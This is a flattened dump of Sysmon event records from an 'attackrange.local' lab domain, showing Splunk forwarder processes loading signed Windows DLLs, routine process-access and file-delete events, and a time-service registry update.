734700x800000000000000051625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000051624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000051623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000051622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000051621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000051620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000051618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000051617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000051616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000051611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.402{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000051610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.403{7BD73061-72C7-613B-640B-00000000F001}6968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000051609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.365{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1AD4C59A96FD64CDCECB011FA91FAB67,SHA256=48DC7F464BFC5B0A66B75DA26AA62E45E912945B20AC63927F2EEA421BEE0EBE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:19.249{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=27D273AA9443F976EF2AE397B8D10C89,SHA256=262D57F3B68124C8F045E67E00A8532B23B3C1EFB743B25EB3AAD5192CC20A86,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 13241300x800000000000000016517Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:59:20.393{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a654-0x6f353541) 23542300x800000000000000016516Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:20.315{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F5D1978EE7E7957650D263D79F3BDBA4,SHA256=232DEED36AEE2D91A5AEBA3C441C2C87B79EAE15C8F91DBB3ABB108ECB9995A5,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000051763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.991{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000051762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 734700x800000000000000051761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.775{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000051760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.775{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000051759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.775{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000051758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.775{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000051757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.775{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000051756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.775{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000051755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.775{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000051754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.775{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000051753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.759{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000051752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.759{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000051751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.759{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000051750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.759{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000051749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000051748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000051747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000051746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000051745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000051744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000051743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000051742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 